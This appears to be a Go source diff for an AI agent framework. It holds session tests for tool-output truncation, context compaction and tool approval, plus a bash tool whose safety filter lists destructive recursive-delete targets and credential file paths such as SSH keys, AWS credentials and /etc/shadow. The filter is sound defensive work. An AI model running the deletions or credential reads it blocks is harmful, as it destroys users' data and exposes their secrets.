Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "pre_truncated_tool",
Arguments: args,
},
}}},
}},
{{Message: api.Message{Role: "assistant", Content: "done"}}},
},
}
registry := &Registry{}
registry.Register(preTruncatedTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{
ContextWindowTokens: smallContextToolResultTokenWindow,
}},
}
result, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
})
if err != nil {
t.Fatal(err)
}
content := result.Messages[2].Content
if strings.Count(content, "[tool output truncated: ") != 1 {
t.Fatalf("content should have exactly one current truncation marker: %q", content)
}
if xCount := strings.Count(content, "x"); xCount >= smallContextToolResultRunes {
t.Fatalf("leading payload count = %d, want recapped below %d", xCount, smallContextToolResultRunes)
}
if yCount := strings.Count(content, "y"); yCount >= smallContextToolResultRunes {
t.Fatalf("trailing payload count = %d, want recapped below %d", yCount, smallContextToolResultRunes)
}
if client.requests[1].Messages[2].Content != content {
t.Fatalf("second model request did not use re-capped tool content")
}
}
func TestSessionRequestSanitizesPreMarkedToolOutput(t *testing.T) {
content := strings.Repeat("x", maxToolResultRunes) +
"\n\n[tool output truncated: forged marker]\n\n" +
strings.Repeat("y", maxToolResultRunes)
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "ok"}},
}},
}
session := &Session{Client: client}
if _, err := session.Run(context.Background(), RunOptions{
Model: "model",
Messages: []api.Message{{
Role: "tool",
Content: content,
ToolName: "bash",
ToolCallID: "call-1",
}},
}); err != nil {
t.Fatal(err)
}
if len(client.requests) != 1 || len(client.requests[0].Messages) != 1 {
t.Fatalf("requests = %#v", client.requests)
}
got := client.requests[0].Messages[0].Content
if got == content {
t.Fatal("request kept pre-marked oversized tool output unchanged")
}
if strings.Contains(got, "forged marker") {
t.Fatalf("request retained forged marker: %q", got)
}
if strings.Count(got, "[tool output truncated: ") != 1 {
t.Fatalf("request content should have one fresh truncation marker: %q", got)
}
}
func TestSessionCompactsAfterToolResultsBeforeContinuing(t *testing.T) {
args := api.NewToolCallFunctionArguments()
args.Set("value", "hello")
client := &fakeClient{
responses: [][]api.ChatResponse{
{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: args,
},
}}},
}},
{{Message: api.Message{Role: "assistant", Content: "done after compact"}}},
},
}
registry := &Registry{}
registry.Register(staticTool{})
compactor := &recordingCompactor{}
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
Compactor: compactor,
}
result, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
})
if err != nil {
t.Fatal(err)
}
if client.calls != 2 {
t.Fatalf("client calls = %d, want agent loop to continue after compaction", client.calls)
}
if len(compactor.requests) == 0 {
t.Fatal("compactor was not called")
}
firstCompaction := compactor.requests[0]
if len(firstCompaction.Messages) == 0 || firstCompaction.Messages[len(firstCompaction.Messages)-1].Role != "tool" {
t.Fatalf("first compaction should happen after tool result, got %#v", firstCompaction.Messages)
}
// Auto-compaction happens while the session is still satisfying the current
// user request, so the synthetic compaction tool result should tell the
// model to continue without surfacing compaction.
if !firstCompaction.ContinueTask {
t.Fatal("automatic compaction should request a continue-task tool result")
}
secondRequestMessages := client.requests[1].Messages
if len(secondRequestMessages) == 0 || !strings.Contains(secondRequestMessages[len(secondRequestMessages)-1].Content, "tool result summarized") {
t.Fatalf("second model request did not use compacted messages: %#v", secondRequestMessages)
}
if got := result.Messages[len(result.Messages)-1].Content; got != "done after compact" {
t.Fatalf("final response = %q", got)
}
}
func TestSessionStopsWhenCompactedHistoryStillExceedsContext(t *testing.T) {
args := api.NewToolCallFunctionArguments()
args.Set("value", "hello")
client := &fakeClient{
responses: [][]api.ChatResponse{
{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: args,
},
}}},
}},
{{Message: api.Message{Role: "assistant", Content: "should not run"}}},
},
}
registry := &Registry{}
registry.Register(staticTool{})
events := &recordingEventSink{}
compactor := &oversizedCompactor{}
session := &Session{
Client: client,
EventSinks: []EventSink{events},
Tools: registry,
AllowAllTools: true,
Compactor: compactor,
}
result, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
Options: map[string]any{"num_ctx": 512},
})
if err == nil {
t.Fatal("expected post-compaction context error")
}
if !strings.Contains(err.Error(), "still too large after compaction") || !strings.Contains(err.Error(), "fresh request") {
t.Fatalf("error = %q, want actionable post-compaction guidance", err.Error())
}
if result == nil {
t.Fatal("expected partial result with compacted messages")
}
if client.calls != 1 || len(client.requests) != 1 {
t.Fatalf("client calls = %d requests = %d, want no request after oversized compaction", client.calls, len(client.requests))
}
if len(compactor.requests) != 1 {
t.Fatalf("compactor requests = %d, want 1", len(compactor.requests))
}
if !hasEventType(events.events, EventCompacted) {
t.Fatalf("events missing compacted event: %#v", events.events)
}
if !hasEventType(events.events, EventError) {
t.Fatalf("events missing post-compaction error: %#v", events.events)
}
if len(result.Messages) == 0 || !strings.Contains(result.Messages[len(result.Messages)-1].Content, "Conversation summary:") {
t.Fatalf("result should retain compacted summary messages: %#v", result.Messages)
}
}
func TestSessionContextCapsToolResultBeforeCompaction(t *testing.T) {
args := api.NewToolCallFunctionArguments()
client := &fakeClient{
responses: [][]api.ChatResponse{
{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "large_tool",
Arguments: args,
},
}}},
}},
{{Message: api.Message{Role: "assistant", Content: "done"}}},
},
}
registry := &Registry{}
registry.Register(largeTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{
ContextWindowTokens: 100,
Threshold: 0.8,
}},
}
result, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
})
if err != nil {
t.Fatal(err)
}
content := result.Messages[2].Content
if !strings.Contains(content, "[tool output truncated: ") ||
!strings.Contains(content, "Use a narrower command, line range, or search query") {
t.Fatalf("tool content missing truncation marker: %q", content)
}
if xCount := strings.Count(content, "x"); xCount >= maxToolResultRunes {
t.Fatalf("context-capped content x count = %d, want less than hard cap", xCount)
}
if client.requests[1].Messages[2].Content != content {
t.Fatalf("second model request did not use context-capped tool content")
}
}
func TestSessionCompactsThenReattachesFullyOmittedToolResult(t *testing.T) {
args := api.NewToolCallFunctionArguments()
client := &fakeClient{
responses: [][]api.ChatResponse{
{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "large_tool",
Arguments: args,
},
}}},
}},
{{Message: api.Message{Role: "assistant", Content: "older history summarized"}}},
{{Message: api.Message{Role: "assistant", Content: "done with result"}}},
},
}
registry := &Registry{}
registry.Register(largeTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
Compactor: &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: smallContextToolResultTokenWindow,
Threshold: 0.45,
}},
}
result, err := session.Run(context.Background(), RunOptions{
Model: "model",
Messages: []api.Message{{Role: "user", Content: strings.Repeat("history ", 2000)}},
NewMessages: []api.Message{{Role: "user", Content: "use a large tool"}},
})
if err != nil {
t.Fatal(err)
}
if client.calls != 3 {
t.Fatalf("client calls = %d, want model, compaction, model", client.calls)
}
if len(client.requests) != 3 {
t.Fatalf("requests = %d, want 3", len(client.requests))
}
nextRequestMessages := client.requests[2].Messages
if len(nextRequestMessages) != 4 {
t.Fatalf("next model request messages = %#v, want summary pair plus tool call/result", nextRequestMessages)
}
if nextRequestMessages[0].Role != "assistant" || len(nextRequestMessages[0].ToolCalls) != 1 || nextRequestMessages[0].ToolCalls[0].Function.Name != CompactionToolName {
t.Fatalf("first message should be compaction summary tool call: %#v", nextRequestMessages[0])
}
if nextRequestMessages[1].Role != "tool" || nextRequestMessages[1].ToolName != CompactionToolName || !strings.Contains(nextRequestMessages[1].Content, "older history summarized") {
t.Fatalf("second message should be compaction summary result: %#v", nextRequestMessages[1])
}
if nextRequestMessages[2].Role != "assistant" || len(nextRequestMessages[2].ToolCalls) != 1 || nextRequestMessages[2].ToolCalls[0].ID != "call-1" {
t.Fatalf("third message should be original assistant tool call: %#v", nextRequestMessages[2])
}
toolResult := nextRequestMessages[3]
if toolResult.Role != "tool" || toolResult.ToolName != "large_tool" || toolResult.ToolCallID != "call-1" {
t.Fatalf("fourth message should be reattached large tool result: %#v", toolResult)
}
if toolOutputFullyOmitted(toolResult.Content) {
t.Fatalf("tool result should be re-fitted after compaction, got full omission marker: %q", toolResult.Content)
}
if !strings.Contains(toolResult.Content, "[tool output truncated: showing first ~") {
t.Fatalf("tool result should still be bounded after compaction: %q", toolResult.Content)
}
if strings.Count(toolResult.Content, "x") != smallContextToolResultRunes {
t.Fatalf("tool result x count = %d, want %d", strings.Count(toolResult.Content, "x"), smallContextToolResultRunes)
}
if got := result.Messages[len(result.Messages)-1].Content; got != "done with result" {
t.Fatalf("final response = %q", got)
}
}
func TestSessionEmitsAutoCompactionActivityEvents(t *testing.T) {
args := api.NewToolCallFunctionArguments()
client := &fakeClient{
responses: [][]api.ChatResponse{
{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "large_tool",
Arguments: args,
},
}}},
}},
{{Message: api.Message{Role: "assistant", Content: "summary"}, Metrics: api.Metrics{EvalCount: 7}}},
{{Message: api.Message{Role: "assistant", Content: "done"}}},
},
}
registry := &Registry{}
registry.Register(largeTool{})
events := &recordingEventSink{}
session := &Session{
Client: client,
EventSinks: []EventSink{events},
Tools: registry,
AllowAllTools: true,
Compactor: &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 300,
Threshold: 0.3,
}},
}
if _, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
}); err != nil {
t.Fatal(err)
}
if !hasEventType(events.events, EventCompactionStarted) {
t.Fatalf("events missing compaction start: %#v", events.events)
}
if !hasEventWithTokens(events.events, EventCompactionProgress, 7) {
t.Fatalf("events missing compaction progress tokens: %#v", events.events)
}
if !hasEventType(events.events, EventCompacted) {
t.Fatalf("events missing compacted event: %#v", events.events)
}
}
func TestSessionTruncatesSeededToolMessagesBeforeHistory(t *testing.T) {
largeContent := strings.Repeat("x", maxToolResultRunes+100)
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "done"}},
}},
}
session := &Session{
Client: client,
}
result, err := session.Run(context.Background(), RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{
{Role: "user", Content: "use seeded tool"},
{Role: "tool", ToolName: "example_tool", ToolCallID: "call-1", Content: largeContent},
},
})
if err != nil {
t.Fatal(err)
}
if len(result.Messages) < 2 {
t.Fatalf("messages = %#v", result.Messages)
}
content := result.Messages[1].Content
if !strings.Contains(content, "[tool output truncated: showing first ~") ||
!strings.Contains(content, "omitted ~25 tokens") {
t.Fatalf("seeded tool content missing truncation marker: %q", content)
}
requestContent := client.requests[0].Messages[1].Content
if !strings.Contains(requestContent, "[tool output truncated: showing first ~") {
t.Fatalf("model request did not use capped seeded tool content: %q", requestContent)
}
if strings.Count(requestContent, "x") > maxToolResultRunes {
t.Fatalf("request seeded tool content x count = %d, want at most %d", strings.Count(requestContent, "x"), maxToolResultRunes)
}
}
func TestSessionPreflightRejectsOversizedFirstRequest(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "should not run"}},
}},
}
events := &recordingEventSink{}
session := &Session{
Client: client,
EventSinks: []EventSink{events},
Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{
ContextWindowTokens: 128,
}},
}
_, err := session.Run(context.Background(), RunOptions{
ChatID: "chat-1",
Model: "model",
SystemPrompt: strings.Repeat("system instructions ", 200),
NewMessages: []api.Message{{Role: "user", Content: "hello"}},
})
if err == nil {
t.Fatal("expected preflight context error")
}
if !strings.Contains(err.Error(), "Reduce the system prompt or message history") || !strings.Contains(err.Error(), "compact the conversation") {
t.Fatalf("error = %q, want actionable prompt guidance", err.Error())
}
if len(client.requests) != 0 {
t.Fatalf("chat requests = %d, want none before preflight passes", len(client.requests))
}
if !hasEventType(events.events, EventError) {
t.Fatalf("events missing error: %#v", events.events)
}
}
func TestSessionPreflightIgnoresRawImageBytes(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "image received"}},
}},
}
session := &Session{
Client: client,
Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{
ContextWindowTokens: 128,
}},
}
image := make(api.ImageData, 64*1024)
result, err := session.Run(context.Background(), RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{{
Role: "user",
Content: "describe this image",
Images: []api.ImageData{image},
}},
})
if err != nil {
t.Fatal(err)
}
if len(client.requests) != 1 {
t.Fatalf("chat requests = %d, want 1", len(client.requests))
}
if got := client.requests[0].Messages[0].Images; len(got) != 1 || len(got[0]) != len(image) {
t.Fatalf("request images = %#v, want original image payload", got)
}
if len(result.Messages) == 0 || result.Messages[len(result.Messages)-1].Content != "image received" {
t.Fatalf("result messages = %#v", result.Messages)
}
}
func TestSessionFreezesBatchToolWorkingDirAfterApproval(t *testing.T) {
root := t.TempDir()
if err := os.Mkdir(filepath.Join(root, "sub"), 0o755); err != nil {
t.Fatal(err)
}
setArgs := api.NewToolCallFunctionArguments()
setArgs.Set("mode", "set")
setArgs.Set("path", "sub")
echoArgs := api.NewToolCallFunctionArguments()
echoArgs.Set("mode", "echo")
client := &fakeClient{
responses: [][]api.ChatResponse{
{
{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{
{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "cwd_tool",
Arguments: setArgs,
},
},
{
ID: "call-2",
Function: api.ToolCallFunction{
Name: "cwd_tool",
Arguments: echoArgs,
},
},
}}},
},
{
{Message: api.Message{Role: "assistant", Content: "done"}},
},
},
}
registry := &Registry{}
registry.Register(cwdTestTool{})
prompter := &recordingApprovalPrompter{results: []Approval{{Allow: true}}}
session := &Session{
Client: client,
Tools: registry,
ApprovalPrompter: prompter,
WorkingDir: root,
}
result, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use cwd"}},
})
if err != nil {
t.Fatal(err)
}
want, err := filepath.EvalSymlinks(filepath.Join(root, "sub"))
if err != nil {
t.Fatal(err)
}
approvedRoot := root
if len(prompter.requests) != 1 {
t.Fatalf("approval requests = %d, want 1", len(prompter.requests))
}
if prompter.requests[0].WorkingDir != approvedRoot {
t.Fatalf("approval cwd = %q, want %q", prompter.requests[0].WorkingDir, approvedRoot)
}
if session.WorkingDir != want {
t.Fatalf("session cwd = %q, want %q", session.WorkingDir, want)
}
if result.WorkingDir != want {
t.Fatalf("result cwd = %q, want %q", result.WorkingDir, want)
}
if result.Messages[2].Content != "changed" {
t.Fatalf("cwd change tool content = %q, want unchanged output", result.Messages[2].Content)
}
if result.Messages[3].Content != approvedRoot {
t.Fatalf("second tool saw cwd %q, want approved cwd %q", result.Messages[3].Content, approvedRoot)
}
}
func TestSessionAllowsToolWorkingDirOutsideInitialDir(t *testing.T) {
root := t.TempDir()
escapeArgs := api.NewToolCallFunctionArguments()
escapeArgs.Set("mode", "escape")
echoArgs := api.NewToolCallFunctionArguments()
echoArgs.Set("mode", "echo")
client := &fakeClient{
responses: [][]api.ChatResponse{
{
{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{
{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "cwd_tool",
Arguments: escapeArgs,
},
},
{
ID: "call-2",
Function: api.ToolCallFunction{
Name: "cwd_tool",
Arguments: echoArgs,
},
},
}}},
},
{
{Message: api.Message{Role: "assistant", Content: "done"}},
},
},
}
registry := &Registry{}
registry.Register(cwdTestTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
WorkingDir: root,
}
result, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use cwd"}},
})
if err != nil {
t.Fatal(err)
}
want, err := filepath.EvalSymlinks(filepath.Dir(root))
if err != nil {
t.Fatal(err)
}
approvedRoot := root
if session.WorkingDir != want {
t.Fatalf("session cwd = %q, want %q", session.WorkingDir, want)
}
if result.Messages[2].Content != "escaped" {
t.Fatalf("escape tool content = %q, want unchanged output", result.Messages[2].Content)
}
if result.Messages[3].Content != approvedRoot {
t.Fatalf("second tool saw cwd %q, want original cwd %q", result.Messages[3].Content, approvedRoot)
}
}
func TestSessionDeniesWithoutApprovalPrompter(t *testing.T) {
args := api.NewToolCallFunctionArguments()
echoArgs := api.NewToolCallFunctionArguments()
echoArgs.Set("value", "should not run")
client := &fakeClient{
responses: [][]api.ChatResponse{
{
{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{
{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "approval_tool",
Arguments: args,
},
},
{
ID: "call-2",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: echoArgs,
},
},
}}},
},
{
{Message: api.Message{Role: "assistant", Content: "done"}},
},
},
}
called := false
registry := &Registry{}
registry.Register(approvalTestTool{called: &called})
registry.Register(staticTool{})
session := &Session{
Client: client,
Tools: registry,
}
result, err := session.Run(context.Background(), RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
})
if err != nil {
t.Fatal(err)
}
if called {
t.Fatal("tool executed despite denied approval")
}
if client.calls != 1 {
t.Fatalf("client calls = %d, want 1 after denial", client.calls)
}
if len(result.Messages) != 4 {
t.Fatalf("messages = %#v", result.Messages)
}
if result.Messages[2].Role != "tool" || result.Messages[2].ToolCallID != "call-1" {
t.Fatalf("denial tool message = %#v", result.Messages[2])
}
if result.Messages[2].Content == "" || result.Messages[2].Content == "approved" || result.Messages[2].Content == "tool says hello" {
t.Fatalf("tool denial content = %q", result.Messages[2].Content)
}
if result.Messages[3].Role != "tool" || result.Messages[3].ToolCallID != "call-2" {
t.Fatalf("second denial tool message = %#v", result.Messages[3])
}
if result.Messages[3].Content == "" || result.Messages[3].Content == "tool says hello" {
t.Fatalf("second denial content = %q", result.Messages[3].Content)
}
}
func TestSessionPromptsOnceForApprovalBatch(t *testing.T) {
args := api.NewToolCallFunctionArguments()
client := &fakeClient{
responses: [][]api.ChatResponse{
{
{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{
{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "approval_tool",
Arguments: args,
},
},
{
ID: "call-2",
Function: api.ToolCallFunction{
Name: "approval_tool",
Arguments: args,
},
},
}}},
},
{
{Message: api.Message{Role: "assistant", Content: "done"}},
},
},
}
called := false
registry := &Registry{}
registry.Register(approvalTestTool{called: &called})
prompter := &recordingApprovalPrompter{
results: []Approval{{Reason: "denied"}},
}
session := &Session{
Client: client,
Tools: registry,
ApprovalPrompter: prompter,
}
result, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use tools"}},
})
if err != nil {
t.Fatal(err)
}
if len(prompter.requests) != 1 {
t.Fatalf("approval prompts = %d, want 1", len(prompter.requests))
}
if len(prompter.requests[0].Calls) != 2 {
t.Fatalf("approval calls = %#v, want both tool calls", prompter.requests[0].Calls)
}
if called {
t.Fatal("tool ran despite denied approval")
}
if client.calls != 1 {
t.Fatalf("client calls = %d, want 1 after denial", client.calls)
}
if len(result.Messages) != 4 || result.Messages[2].Role != "tool" || result.Messages[3].Role != "tool" {
t.Fatalf("messages = %#v", result.Messages)
}
}
func TestSessionAllowAllApprovalSkipsFuturePrompts(t *testing.T) {
args := api.NewToolCallFunctionArguments()
client := &fakeClient{
responses: [][]api.ChatResponse{
{
{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "approval_tool",
Arguments: args,
},
}}}},
},
{
{Message: api.Message{Role: "assistant", Content: "done"}},
},
{
{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-2",
Function: api.ToolCallFunction{
Name: "approval_tool",
Arguments: args,
},
}}}},
},
{
{Message: api.Message{Role: "assistant", Content: "done again"}},
},
},
}
registry := &Registry{}
registry.Register(approvalTestTool{})
prompter := &recordingApprovalPrompter{
results: []Approval{{AllowAll: true}},
}
session := &Session{
Client: client,
Tools: registry,
ApprovalPrompter: prompter,
}
for range 2 {
if _, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
}); err != nil {
t.Fatal(err)
}
}
if !session.AllowAllTools {
t.Fatal("session did not remember allow all")
}
if len(prompter.requests) != 1 {
t.Fatalf("approval prompts = %d, want 1", len(prompter.requests))
}
}
func TestSessionAllowAllToolsExecutesApprovalTool(t *testing.T) {
args := api.NewToolCallFunctionArguments()
client := &fakeClient{
responses: [][]api.ChatResponse{
{
{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "approval_tool",
Arguments: args,
},
}}}},
},
{
{Message: api.Message{Role: "assistant", Content: "done"}},
},
},
}
called := false
registry := &Registry{}
registry.Register(approvalTestTool{called: &called})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
}
result, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
})
if err != nil {
t.Fatal(err)
}
if !called {
t.Fatal("tool did not execute")
}
if result.Messages[2].Content != "approved" {
t.Fatalf("tool content = %q, want approved", result.Messages[2].Content)
}
}
+388
View File
@@ -0,0 +1,388 @@
package tools
import (
"context"
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
"unicode/utf8"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
)
const (
bashTimeout = 3 * time.Minute
bashWaitDelay = 1 * time.Second
maxBashOutputBytes = 60_000
)
type Bash struct{}
func (b *Bash) Name() string {
return shellToolName()
}
func (b *Bash) Description() string {
return shellToolDescription()
}
func (b *Bash) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("command", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: shellCommandDescription(),
})
return api.ToolFunction{
Name: b.Name(),
Description: b.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"command"},
},
}
}
func (b *Bash) RequiresApproval(map[string]any) bool {
return true
}
func (b *Bash) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
command, ok := args["command"].(string)
if !ok || strings.TrimSpace(command) == "" {
return agent.ToolResult{}, fmt.Errorf("command parameter is required")
}
if err := rejectUnsafeShellCommand(command); err != nil {
return agent.ToolResult{}, err
}
ctx, cancel := context.WithTimeout(ctx, bashTimeout)
defer cancel()
cwdFile, err := os.CreateTemp("", "ollama-agent-cwd-*")
if err != nil {
return agent.ToolResult{}, err
}
cwdPath := cwdFile.Name()
_ = cwdFile.Close()
defer os.Remove(cwdPath)
cmd := newBashCommand(ctx, command, cwdPath)
cmd.WaitDelay = bashWaitDelay
cmd.Cancel = func() error {
return killBashCommand(cmd)
}
if toolCtx.WorkingDir != "" {
cmd.Dir = toolCtx.WorkingDir
}
var stdout, stderr boundedOutput
stdout.Limit = maxBashOutputBytes
stderr.Limit = maxBashOutputBytes
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err = runBashCommand(cmd)
finalWorkingDir := readFinalWorkingDir(cwdPath)
var sb strings.Builder
if stdout.Len() > 0 {
sb.WriteString(stdout.String("stdout"))
}
if stderr.Len() > 0 {
if sb.Len() > 0 {
sb.WriteString("\n")
}
sb.WriteString("stderr:\n")
sb.WriteString(stderr.String("stderr"))
}
if err != nil {
if ctx.Err() == context.DeadlineExceeded {
return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command timed out after "+bashTimeout.String()), WorkingDir: finalWorkingDir}, nil
}
if ctx.Err() == context.Canceled {
return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command was canceled"), WorkingDir: finalWorkingDir}, nil
}
if errors.Is(err, exec.ErrWaitDelay) {
_ = killBashCommand(cmd)
return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command output pipes did not close after "+bashWaitDelay.String()), WorkingDir: finalWorkingDir}, nil
}
if exitErr, ok := err.(*exec.ExitError); ok {
return agent.ToolResult{Content: bashContentWithError(sb.String(), fmt.Sprintf("Exit code: %d", exitErr.ExitCode())), WorkingDir: finalWorkingDir}, nil
}
return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, fmt.Errorf("executing command: %w", err)
}
if sb.Len() == 0 {
return agent.ToolResult{Content: "(no output)", WorkingDir: finalWorkingDir}, nil
}
return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, nil
}
func bashContentWithError(content, msg string) string {
if content == "" {
return msg
}
return content + "\n\n" + msg
}
func rejectUnsafeShellCommand(command string) error {
switch {
case hasUnsafeRecursiveDelete(command):
return fmt.Errorf("refusing to run unsafe command: recursive delete target is too broad")
case readsCredentialPath(command):
return fmt.Errorf("refusing to run unsafe command: credential file reads are not allowed")
default:
return nil
}
}
func hasUnsafeRecursiveDelete(command string) bool {
fields := shellSafetyFields(command)
for i, field := range fields {
if isRMCommand(field) && rmCommandDeletesUnsafeTarget(fields[i+1:]) {
return true
}
if isPowerShellDeleteCommand(field) && powerShellDeleteCommandDeletesUnsafeTarget(fields[i+1:]) {
return true
}
}
return false
}
func rmCommandDeletesUnsafeTarget(fields []string) bool {
var flags string
for _, field := range fields {
if field == "--" {
continue
}
if strings.HasPrefix(field, "-") {
flags += field
continue
}
if strings.Contains(flags, "r") && strings.Contains(flags, "f") && isUnsafeDeleteTarget(field) {
return true
}
}
return false
}
func powerShellDeleteCommandDeletesUnsafeTarget(fields []string) bool {
var recurse, force bool
var targets []string
for _, field := range fields {
switch field {
case "-r", "-recurse", "-recursive":
recurse = true
case "-f", "-force":
force = true
default:
if !strings.HasPrefix(field, "-") {
targets = append(targets, field)
}
}
}
if !recurse || !force {
return false
}
for _, target := range targets {
if isUnsafeDeleteTarget(target) {
return true
}
}
return false
}
func readsCredentialPath(command string) bool {
fields := shellSafetyFields(command)
if !hasCredentialReadVerb(fields) {
return false
}
normalized := shellSafetyText(command)
for _, fragment := range []string{
"/.ssh/id_rsa",
"/.ssh/id_dsa",
"/.ssh/id_ecdsa",
"/.ssh/id_ed25519",
"/.aws/credentials",
"/.config/gcloud/application_default_credentials.json",
"/.kube/config",
"/etc/shadow",
} {
if strings.Contains(normalized, fragment) {
return true
}
}
return false
}
func hasCredentialReadVerb(fields []string) bool {
for _, field := range fields {
switch field {
case "cat", "less", "more", "head", "tail", "type", "get-content", "gc", "select-string", "grep", "rg", "sed", "awk":
return true
}
}
return false
}
func isRMCommand(field string) bool {
return field == "rm" || strings.HasSuffix(field, "/rm")
}
func isPowerShellDeleteCommand(field string) bool {
switch field {
case "remove-item", "del", "erase", "rd", "rmdir":
return true
default:
return false
}
}
func isUnsafeDeleteTarget(target string) bool {
if target == "." || target == "./" || target == "*" {
return true
}
if target == "/*" {
return true
}
target = strings.TrimSuffix(target, "/*")
for _, prefix := range []string{"~/", "$home/", "${home}/", "$env:home/", "$env:userprofile/", "%userprofile%/"} {
if strings.HasPrefix(target, prefix) {
return true
}
}
for _, prefix := range []string{"/etc/", "/bin/", "/sbin/", "/usr/", "/var/", "/lib/", "/library/", "/system/", "/applications/", "c:/windows/", "c:/program files/"} {
if strings.HasPrefix(target, prefix) {
return true
}
}
for _, exact := range []string{"/", "~", "$home", "${home}", "$env:home", "$env:userprofile", "%userprofile%", "c:", "c:/", "/etc", "/bin", "/sbin", "/usr", "/var", "/lib", "/library", "/system", "/applications", "c:/windows", "c:/program files"} {
if target == exact {
return true
}
}
return false
}
func shellSafetyFields(command string) []string {
return strings.Fields(shellSafetyText(command))
}
func shellSafetyText(command string) string {
command = strings.ToLower(command)
return strings.NewReplacer(
"\\", "/",
"\n", " ",
"\t", " ",
";", " ",
"&", " ",
"|", " ",
"(", " ",
")", " ",
"\"", "",
"'", "",
"`", "",
).Replace(command)
}
func readFinalWorkingDir(path string) string {
content, err := os.ReadFile(path)
if err != nil {
return ""
}
workingDir := strings.TrimPrefix(string(content), "\ufeff")
workingDir = strings.TrimSpace(workingDir)
if workingDir == "" {
return ""
}
workingDir = normalizeBashWorkingDir(workingDir)
info, err := os.Stat(workingDir)
if err != nil || !info.IsDir() {
return ""
}
return workingDir
}
func normalizeBashWorkingDir(workingDir string) string {
if runtime.GOOS == "windows" && len(workingDir) >= 3 && workingDir[0] == '/' && workingDir[2] == '/' && isASCIIAlpha(workingDir[1]) {
workingDir = strings.ToUpper(string(workingDir[1])) + ":" + workingDir[2:]
}
workingDir = filepath.Clean(filepath.FromSlash(workingDir))
if runtime.GOOS == "windows" && len(workingDir) >= 2 && workingDir[1] == ':' && isASCIIAlpha(workingDir[0]) {
workingDir = strings.ToUpper(string(workingDir[0])) + workingDir[1:]
}
return workingDir
}
